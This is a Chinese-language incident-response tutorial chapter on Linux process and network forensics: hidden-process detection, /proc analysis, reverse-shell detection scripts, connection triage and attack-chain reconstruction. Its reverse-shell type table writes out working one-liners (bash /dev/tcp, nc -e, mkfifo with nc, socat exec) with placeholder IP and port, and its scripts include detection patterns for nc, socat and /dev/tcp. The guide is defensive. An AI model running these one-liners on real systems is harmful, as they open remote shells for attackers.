05-进程与网络分析 (Process & Network Analysis)
进程和网络是攻击者活动的”现场”——恶意代码必须以进程形式运行,远控和数据窃取必须通过网络通信。掌握进程与网络的深度分析技术,是应急响应中最核心的能力之一。
关联章节 :02-排查命令速查 | 27-反弹Shell技术与检测 | 14.5-挖矿病毒应急
1. 进程排查方法论 1.1 排查思路总览 1 2 3 4 5 异常特征发现 → 定位可疑进程 → 深度分析进程 → 溯源入侵路径 ↓ ↓ ↓ ↓ CPU/内存飙升 ps/top定位 /proc分析 进程链追踪 异常网络连接 ss/netstat 文件关联 日志关联 告警触发 lsof 内存分析 时间线重建
1.2 什么算”异常”进程
异常特征
说明
检测方法
CPU/内存异常
持续高 CPU(挖矿)或高内存
top, htop
进程名伪装
名字像内核线程但实际是用户进程
对比 /proc/PID/status
父进程异常
PPID 为 1 但不是系统服务
ps -ef 查看进程树
无对应文件
exe 链接指向 (deleted)
ls -la /proc/PID/exe
异常网络连接
外连到未知 IP 或非常规端口
ss -antlp, lsof -i
启动时间异常
在入侵时间点前后启动
ps -eo pid,lstart,cmd
隐藏行为
ps 看不到但 /proc 中存在
手动枚举 /proc
异常用户运行
www-data 运行 bash/python
ps -eo user,pid,cmd
1.3 基础排查命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ps auxww ps -ef --forest pstree -ap ps aux --sort =-%cpu | head -20 ps aux --sort =-%mem | head -20 ps -eo pid,lstart,user,cmd | head -20 ps -u www-data -f top -bn1 | head -30
2. 隐藏进程检测 2.1 方法1:对比 ps 与 /proc 目录 原理 :ps 命令从 /proc 读取信息,如果攻击者替换了 ps 或使用 rootkit 隐藏进程,ps 的输出可能不完整,但直接读取 /proc 可以绕过部分隐藏手段
手动检测 :
1 2 3 4 5 6 7 8 9 10 11 ps -eo pid --no-headers | sort -n > /tmp/ps_pids.txt ls -d /proc/[0-9]* | awk -F/ '{print $3}' | sort -n > /tmp/proc_pids.txtdiff /tmp/ps_pids.txt /tmp/proc_pids.txt
一键检测脚本 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #!/bin/bash echo "=== 隐藏进程检测 ===" ps_pids=$(ps -eo pid --no-headers | tr -d ' ' | sort -n) proc_pids=$(ls -d /proc/[0-9]* 2>/dev/null | awk -F/ '{print $3}' | sort -n) hidden=$(comm -13 <(echo "$ps_pids " ) <(echo "$proc_pids " )) if [ -n "$hidden " ]; then echo "发现隐藏进程!" for pid in $hidden ; do echo "PID: $pid " echo " 进程名: $(cat /proc/$pid/comm 2>/dev/null) " echo " 命令行: $(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ') " echo " 可执行文件: $(readlink /proc/$pid/exe 2>/dev/null) " echo " 运行用户: $(stat -c %U /proc/$pid 2>/dev/null) " echo "" done else echo "未发现隐藏进程" fi rm -f /tmp/ps_pids.txt /tmp/proc_pids.txt
2.2 方法2:unhide 工具 安装 :
1 2 3 4 5 apt install unhide yum install unhide
使用方法 :
1 2 3 4 5 6 7 8 9 10 unhide proc unhide sys unhide brute unhide quick unhide-tcp
2.3 方法3:进程名与 cmdline 对比 原理 :攻击者可以通过修改 argv[0] 来伪装进程名,但 /proc/PID/status 中的 Name 字段和 /proc/PID/exe 指向的真实可执行文件无法轻易伪造(除非使用 rootkit)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for pid in /proc/[0-9]*/; do pid_num=$(basename $pid ) proc_name=$(cat ${pid} comm 2>/dev/null) exe_path=$(readlink ${pid} exe 2>/dev/null) cmdline=$(cat ${pid} cmdline 2>/dev/null | tr '\0' ' ' ) if [[ "$proc_name " =~ ^\[.*\]$ ]] || [[ "$cmdline " =~ ^\[.*\]$ ]]; then if [ -n "$exe_path " ] && ! "$exe_path " =~ "No such file" ; then echo "可疑进程 PID:$pid_num 名称:$proc_name exe:$exe_path cmdline:$cmdline " fi fi done 2>/dev/null
2.4 伪装内核线程的识别 内核线程特征 :
名称被 [] 包裹,如 [kworker/0:2]、[migration/0]
PPID 通常为 2([kthreadd])
/proc/PID/exe 不可读(返回 Permission denied 或无效链接)
/proc/PID/cmdline 为空
恶意进程伪装特征 :
名称用 [] 包裹但 PPID 不是 2
/proc/PID/exe 指向实际的可执行文件
/proc/PID/cmdline 非空
1 2 3 4 5 6 7 8 9 ps -eo pid,ppid,comm | while read pid ppid comm ; do if [[ "$comm " =~ ^\[.*\]$ ]] && [ "$ppid " != "2" ] && [ "$pid " != "2" ]; then exe=$(readlink /proc/$pid /exe 2>/dev/null) if [ -n "$exe " ]; then echo "伪装内核线程! PID:$pid PPID:$ppid 名称:$comm 实际程序:$exe " fi fi done
3. /proc/[pid]/ 深度分析 3.1 /proc/PID 关键文件一览
文件
说明
排查用途
exe
符号链接 → 可执行文件
确定真实程序路径
cmdline
启动命令行参数
查看完整启动命令
comm
进程名(最多 16 字符)
快速识别进程
cwd
符号链接 → 工作目录
确定进程运行目录
environ
环境变量
检查 LD_PRELOAD 等
fd/
文件描述符目录
查看打开的文件和 socket
maps
内存映射
检查加载的 .so 库
status
进程状态信息
UID/GID/PPID 等
net/tcp
网络连接
绕过被替换的 ss/netstat
loginuid
登录 UID(审计用)
追踪原始登录用户
stack
内核态调用栈
判断进程行为
3.2 exe — 确定真实可执行文件 1 2 3 4 5 6 ls -la /proc/PID/exe
关键标记 :(deleted) 表示可执行文件已被删除,但进程仍在运行。这是恶意软件常见的反取证手段——运行后立即删除自身
从 /proc 恢复已删除的恶意文件 :
1 2 3 4 5 6 7 8 9 10 cp /proc/PID/exe /tmp/recovered_malwarefile /tmp/recovered_malware md5sum /tmp/recovered_malwaresha256sum /tmp/recovered_malware
3.3 cmdline — 启动参数 1 2 3 4 5 6 7 8 9 cat /proc/PID/cmdline | tr '\0' ' ' echo "" strings /proc/PID/cmdline
3.4 fd/ — 文件描述符分析 1 2 3 4 5 6 7 8 9 ls -la /proc/PID/fd/
socket 关联 :
1 2 3 4 5 6 7 8 9 10 ls -la /proc/PID/fd/ | grep socketcat /proc/net/tcp | awk '$10==12345' ss -antlp | grep "pid=PID"
3.5 environ — 环境变量检查 1 2 3 4 5 6 7 8 9 10 11 12 cat /proc/PID/environ | tr '\0' '\n' cat /proc/PID/environ | tr '\0' '\n' | grep "LD_PRELOAD" cat /proc/PID/environ | tr '\0' '\n' | grep "LD_LIBRARY_PATH" cat /proc/PID/environ | tr '\0' '\n' | grep "^PATH="
LD_PRELOAD 劫持 是一种常见的后门技术,详细检测见后续章节
3.6 maps — 内存映射分析 1 2 3 4 5 6 7 8 9 cat /proc/PID/mapscat /proc/PID/maps | grep '\.so' | awk '{print $6}' | sort -ucat /proc/PID/maps | grep '\.so' | grep -v "/lib\|/usr/lib" | awk '{print $6}' | sort -u
异常 .so 示例 :
1 2 3 /tmp/.hidden/evil.so <- 临时目录中的 .so /dev/shm/.cache/hook.so <- 共享内存中的 .so /var /tmp/.update /lib.so <- 隐藏目录中的 .so
3.7 status — 进程状态信息 1 2 3 4 5 6 7 8 9 cat /proc/PID/status
排查要点 :
Uid 的 Real 和 Effective 不一致 → 可能是 SUID 程序
PPid 为 1 但不是系统服务 → 孤儿进程(父进程已退出)
Threads 数量异常多 → 可能是挖矿程序
4. 反弹 Shell 检测(重点) 4.1 常见反弹 Shell 类型与进程特征
类型
命令示例
进程特征
Bash TCP
bash -i >& /dev/tcp/IP/PORT 0>&1
bash 进程,fd 中有 socket
Netcat
nc -e /bin/bash IP PORT
nc 进程 + bash 子进程
Netcat 无 -e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f
cat + sh + nc 进程链
Python
python -c 'import socket,subprocess,os;...'
python 进程,fd 中有 socket
Perl
perl -e 'use Socket;...'
perl 进程
PHP
php -r '$sock=fsockopen("IP",PORT);...'
php 进程
Ruby
ruby -rsocket -e '...'
ruby 进程
Socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PORT
socat + bash 进程
OpenSSL
openssl s_client -connect IP:PORT
openssl 进程(加密通信)
4.2 检测方法1:网络连接排查 1 2 3 4 5 6 7 8 9 10 11 ss -antlp | grep ESTAB lsof -i -nP | grep ESTABLISHED ss -antlp state established | awk 'NR>1 {print $5, $6}' | sort | uniq -c | sort -rn ss -antlp state established | awk '{print $5}' | grep -v ":80$\|:443$\|:22$\|:53$\|:3306$" | sort -u
关键排查逻辑 :
外连到高端口(4444, 6666, 8888, 9999 等常用 C2 端口)
外连到非业务相关的 IP
由不应该有网络连接的进程发起(如 vim, find)
4.3 检测方法2:进程文件描述符排查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for pid in $(pgrep -x "bash\|sh\|dash" ); do fds=$(ls -la /proc/$pid /fd/ 2>/dev/null | grep socket) if [ -n "$fds " ]; then echo "=== 可疑!PID:$pid 的 bash/sh 进程有 socket 连接 ===" echo "进程信息: $(ps -p $pid -o pid,ppid,user,cmd --no-headers) " echo "文件描述符:" ls -la /proc/$pid /fd/ 2>/dev/null echo "网络连接:" ss -antlp | grep "pid=$pid " echo "" fi done
反弹 shell 的典型 fd 特征 :
1 2 3 4 5 6 7 8 9 # 正常 bash 的 fd(终端): 0 -> /dev/pts/0 (stdin -> 终端)1 -> /dev/pts/0 (stdout -> 终端)2 -> /dev/pts/0 (stderr -> 终端)# 反弹 shell 的 fd(socket): 0 -> socket:[12345 ] (stdin -> 网络)1 -> socket:[12345 ] (stdout -> 网络)2 -> socket:[12345 ] (stderr -> 网络)
4.4 检测方法3:/proc/net/tcp 直接读取 当 ss/netstat 等工具被替换时的备选方案 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 awk '{ if(NR>1) { split($2, local, ":"); split($3, remote, ":"); # 转换十六进制 IP lip = sprintf("%d.%d.%d.%d", strtonum("0x"substr(local[1],7,2)), strtonum("0x"substr(local[1],5,2)), strtonum("0x"substr(local[1],3,2)), strtonum("0x"substr(local[1],1,2))); lport = strtonum("0x"local[2]); rip = sprintf("%d.%d.%d.%d", strtonum("0x"substr(remote[1],7,2)), strtonum("0x"substr(remote[1],5,2)), strtonum("0x"substr(remote[1],3,2)), strtonum("0x"substr(remote[1],1,2))); rport = strtonum("0x"remote[2]); state = $4; inode = $10; # state 01=ESTABLISHED if(state=="01") printf "ESTAB %s:%d -> %s:%d (inode:%s)\n", lip, lport, rip, rport, inode } }' /proc/net/tcp
4.5 综合反弹 Shell 检测脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #!/bin/bash echo "=== 反弹 Shell 检测 ===" echo -e "\n[1] 检查 bash/sh 进程的 socket 文件描述符:" found=0 for pid in $(pgrep -x "bash\|sh\|dash\|zsh" 2>/dev/null); do for fd in 0 1 2; do target=$(readlink /proc/$pid /fd/$fd 2>/dev/null) if "$target " == socket:* ; then echo " [!] PID:$pid fd:$fd -> $target " echo " 进程: $(ps -p $pid -o user,cmd --no-headers 2>/dev/null) " found=1 break fi done done [ $found -eq 0 ] && echo " 未发现" echo -e "\n[2] 检查异常的 ESTABLISHED 连接:" ss -antlp state established 2>/dev/null | grep -v ":80 \|:443 \|:22 \|:53 \|:3306 " | tail -20 echo -e "\n[3] 检查 /dev/tcp 使用痕迹(bash 内置):" for pid in /proc/[0-9]*/; do cmdline=$(cat ${pid} cmdline 2>/dev/null | tr '\0' ' ' ) if echo "$cmdline " | grep -q "/dev/tcp\|/dev/udp" ; then echo " [!] PID:$(basename $pid) 使用了 /dev/tcp: $cmdline " fi done echo -e "\n[4] 检查 python/perl/ruby/php 的 socket 连接:" for proc in python python3 perl ruby php; do for pid in $(pgrep $proc 2>/dev/null); do sockets=$(ls -la /proc/$pid /fd/ 2>/dev/null | grep -c socket) if [ "$sockets " -gt 0 ]; then echo " [!] $proc PID:$pid 有 $sockets 个 socket 连接" echo " 命令: $(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ') " fi done done echo -e "\n[5] 检查 nc/ncat/socat 进程:" for proc in nc ncat socat; do pids=$(pgrep $proc 2>/dev/null) if [ -n "$pids " ]; then for pid in $pids ; do echo " [!] $proc PID:$pid " echo " 命令: $(ps -p $pid -o cmd --no-headers 2>/dev/null) " done fi done echo -e "\n=== 检测完成 ==="
5. 网络连接深度分析 5.1 ss 命令详解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ss -ant ss -antlp ss -ant state established ss -ant state listening ss -anup ss -x ss -ant dst :4444 ss -ant dst :6666 ss -ant src :80
ss 输出字段解读 :
1 2 3 State Recv-Q Send-Q Local Address:Port Peer Address:Port ProcessESTAB 0 0 192.168.1.10:22 10.0.0.5:48232 users:(("sshd" ,pid=1234 ,fd=3 ))LISTEN 0 128 0.0.0.0:80 0.0.0.0 :* users:(("nginx" ,pid=567 ,fd=6 ))
5.2 ESTABLISHED 连接排查 1 2 3 4 5 6 7 8 9 10 11 12 ss -antlp state established | awk ' NR>1 { split($5, remote, ":"); port = remote[length(remote)]; # 排除常见合法端口 if (port != 80 && port != 443 && port != 53 && port != 22 && port != 3306 && port != 6379 && port != 25 && port != 123) { print $0 } }'
C2 通信常用端口 (需要特别关注):
端口
常见用途
4444
Metasploit 默认
5555
各类 RAT
6666
各类后门
8080
HTTP 代理/C2
8443
HTTPS C2
8888
各类工具
9999
各类后门
1080
SOCKS 代理
3389
转发的 RDP
31337
“elite” 端口
5.3 LISTEN 端口排查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ss -antlp state listening ss -antlp state listening | sort -t: -k2 -n EXPECTED_PORTS="22 80 443 3306" ss -antlp state listening | awk 'NR>1 { split($4, addr, ":"); port = addr[length(addr)]; print port, $6 }' | sort -un | while read port proc; do echo "$EXPECTED_PORTS " | grep -qw "$port " || echo "非预期监听端口: $port ($proc )" done
5.4 lsof 网络分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 lsof -i -nP lsof -i tcp -nP lsof -i :4444 -nP lsof -p PID -i -nP lsof -u www-data -i -nP lsof -i tcp -nP | grep ESTABLISHED
5.5 按进程聚合网络连接 1 2 3 4 5 6 7 8 9 10 11 12 ss -antlp | awk ' NR>1 { match($0, /users:\(\("([^"]+)",pid=([0-9]+)/, arr); if(arr[1] != "") { proc = arr[1] "(" arr[2] ")"; conns[proc]++; } } END { for(p in conns) printf "%5d %s\n", conns[p], p }' | sort -rn
异常模式 :
单个进程大量外连(可能是扫描或 DDoS)
不应有网络连接的进程出现了连接
大量到同一目标 IP 的连接
5.6 GeoIP 查询可疑 IP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 curl -s "http://ip-api.com/json/45.xx.xx.xx" | python3 -m json.tool whois 45.xx.xx.xx | grep -E "OrgName|Country|NetRange|CIDR" ss -ant state established | awk 'NR>1 {split($5,a,":"); print a[1]}' | sort -u | while read ip; do echo "$ip " | grep -qE "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)" && continue info=$(curl -s "http://ip-api.com/json/$ip ?fields=country,org" 2>/dev/null) echo "$ip -> $info " sleep 1 done
6. 进程链追踪 6.1 从异常进程向上追踪 原理 :每个进程都有父进程(PPID),通过不断追踪 PPID 可以还原完整的攻击链,直到找到初始入侵入口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pstree -ap PID trace_pid () { local pid=$1 while [ "$pid " != "0" ] && [ "$pid " != "1" ]; do info=$(ps -p $pid -o pid,ppid,user,lstart,cmd --no-headers 2>/dev/null) if [ -z "$info " ]; then echo "PID $pid 已不存在" break fi echo "$info " pid=$(echo "$info " | awk '{print $2}' ) done } trace_pid 12345
6.2 完整攻击链还原示例 场景 :发现一个可疑的外连进程 PID 9876
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ps -p 9876 -o pid,ppid,user,cmd ps -p 9870 -o pid,ppid,user,cmd ps -p 9860 -o pid,ppid,user,cmd ps -p 9850 -o pid,ppid,user,cmd
攻击链还原 :
1 2 3 4 5 php -fpm master (root, PID 1200 ) └── php-fpm worker (www-data , PID 9850) └── /bin/bash (www-data , PID 9860) ← WebShell 执行命令 └── python3 反弹shell (www-data , PID 9870) └── python3 socket (www-data , PID 9876) ← 外连 C2
结论 :攻击者通过 Web 应用漏洞(PHP)获取了 webshell,然后通过 webshell 执行了 Python 反弹 shell
6.3 结合日志确认入侵路径 1 2 3 4 5 6 7 8 9 10 11 12 13 ps -p 9876 -o lstart --no-headers grep "28/Mar/2026:03:1[0-5]" /var/log/nginx/access.log grep "28/Mar/2026:03:1[0-5]" /var/log/apache2/access.log grep "Mar 28 03:1[0-5]" /var/log/syslog grep "Mar 28 03:1[0-5]" /var/log/auth.log
7. 实战案例 7.1 案例1:发现隐藏的挖矿进程 场景 :服务器 CPU 持续 100%,但 top 命令看不到高 CPU 进程
Step 1:确认 CPU 异常
1 2 3 4 5 6 uptime top -bn1 | head -5
Step 2:检查 ps 是否被替换
1 2 3 4 5 6 7 8 9 10 11 12 13 which psdebsums -c 2>/dev/null | grep "/usr/bin/ps" rpm -Vf /usr/bin/ps sha256sum /usr/bin/ps
Step 3:对比 ps 和 /proc
1 2 3 4 5 6 ps_count=$(ps -eo pid --no-headers | wc -l) proc_count=$(ls -d /proc/[0-9]* | wc -l) echo "ps 报告: $ps_count 个进程, /proc 中: $proc_count 个进程"
Step 4:找出隐藏进程
1 2 3 4 5 6 7 comm -13 <(ps -eo pid --no-headers | tr -d ' ' | sort -n) \ <(ls -d /proc/[0-9]* | awk -F/ '{print $3}' | sort -n)
Step 5:分析隐藏进程
1 2 3 4 5 6 7 8 9 10 11 12 cat /proc/31337/commreadlink /proc/31337/execat /proc/31337/cmdline | tr '\0' ' ' cp /proc/31337/exe /tmp/evidence/xmrig_sample
Step 6:查找 rootkit
1 2 3 4 5 6 7 8 echo $LD_PRELOAD cat /etc/ld.so.preload
7.2 案例2:发现反弹 Shell 场景 :IDS 告警发现服务器有异常外连
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ss -antlp state established | grep -v ":80 \|:443 \|:22 " ls -la /proc/2345/fd/pstree -ap 2345 ps -p 2345 -o pid,ppid,user,lstart,cmd ps -p 2340 -o pid,ppid,user,lstart,cmd
7.3 案例3:发现删除了文件但仍在运行的恶意程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ls -la /proc/*/exe 2>/dev/null | grep "(deleted)" for pid in 5678 5679; do echo "=== PID: $pid ===" echo "用户: $(stat -c %U /proc/$pid 2>/dev/null) " echo "命令: $(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ') " echo "网络:" ss -antlp | grep "pid=$pid " echo "恢复文件:" cp /proc/$pid /exe /tmp/evidence/malware_$pid 2>/dev/null && echo " 已保存到 /tmp/evidence/malware_$pid " echo "" done
7.4 一键进程与网络排查脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 #!/bin/bash echo "==========================================" echo " 进程与网络安全排查" echo " 执行时间: $(date) " echo "==========================================" echo -e "\n[1] CPU/内存 TOP10 进程:" ps aux --sort =-%cpu | head -11 echo -e "\n[2] 隐藏进程检测:" ps_pids=$(ps -eo pid --no-headers | tr -d ' ' | sort -n) proc_pids=$(ls -d /proc/[0-9]* 2>/dev/null | awk -F/ '{print $3}' | sort -n) hidden=$(comm -13 <(echo "$ps_pids " ) <(echo "$proc_pids " )) if [ -n "$hidden " ]; then echo " [!] 发现隐藏进程: $hidden " for pid in $hidden ; do echo " PID:$pid comm:$(cat /proc/$pid/comm 2>/dev/null) exe:$(readlink /proc/$pid/exe 2>/dev/null) " done else echo " 未发现隐藏进程" fi echo -e "\n[3] 伪装内核线程检测:" ps -eo pid,ppid,comm --no-headers | while read pid ppid comm ; do if [[ "$comm " =~ ^\[.*\]$ ]] && [ "$ppid " != "2" ] && [ "$pid " != "2" ] && [ -n "$pid " ]; then exe=$(readlink /proc/$pid /exe 2>/dev/null) if [ -n "$exe " ]; then echo " [!] 伪装内核线程 PID:$pid PPID:$ppid 名:$comm exe:$exe " fi fi done echo -e "\n[4] 已删除但仍运行的进程:" ls -la /proc/*/exe 2>/dev/null | grep "(deleted)" | while read line; do pid=$(echo "$line " | grep -oP '/proc/\K[0-9]+' ) exe=$(echo "$line " | awk -F'-> ' '{print $2}' ) echo " [!] PID:$pid -> $exe " done echo -e "\n[5] 反弹 Shell 检测(bash/sh 有 socket fd):" for pid in $(pgrep -x "bash\|sh\|dash\|zsh" 2>/dev/null); do for fd in 0 1 2; do target=$(readlink /proc/$pid /fd/$fd 2>/dev/null) if "$target " == socket:* ; then echo " [!] PID:$pid -> $(ps -p $pid -o user,cmd --no-headers 2>/dev/null) " break fi done done echo -e "\n[6] 异常 ESTABLISHED 外连:" ss -antlp state established 2>/dev/null | awk ' NR>1 { split($5, r, ":"); port = r[length(r)]; if(port!=80 && port!=443 && port!=22 && port!=53 && port!=3306 && port!=6379) print " "$0 }' echo -e "\n[7] 监听端口:" ss -antlp state listening 2>/dev/null | awk 'NR>1 {print " "$0}' echo -e "\n[8] LD_PRELOAD 检测:" if [ -f /etc/ld.so.preload ]; then content=$(cat /etc/ld.so.preload) if [ -n "$content " ]; then echo " [!] /etc/ld.so.preload 内容: $content " else echo " /etc/ld.so.preload 为空" fi else echo " /etc/ld.so.preload 不存在(正常)" fi echo -e "\n[9] nc/ncat/socat 进程:" for proc in nc ncat socat; do pids=$(pgrep $proc 2>/dev/null) [ -n "$pids " ] && echo " [!] $proc : $(ps -p $pids -o pid,cmd --no-headers 2>/dev/null) " done echo -e "\n==========================================" echo " 排查完成" echo "=========================================="
7.5 排查技巧总结 优先级排序 :
1 2 3 4 5 1. 先看网络(ss/lsof)→ 找到异常连接2. 再看进程(定位 PID)→ 确定恶意进程3. 深入 /proc(分析进程详情)→ 取证和恢复样本4. 追踪进程链(PPID 向上追)→ 找到入侵入口5. 关联日志(时间线分析)→ 还原完整攻击过程
下一步学习 :06-文件系统取证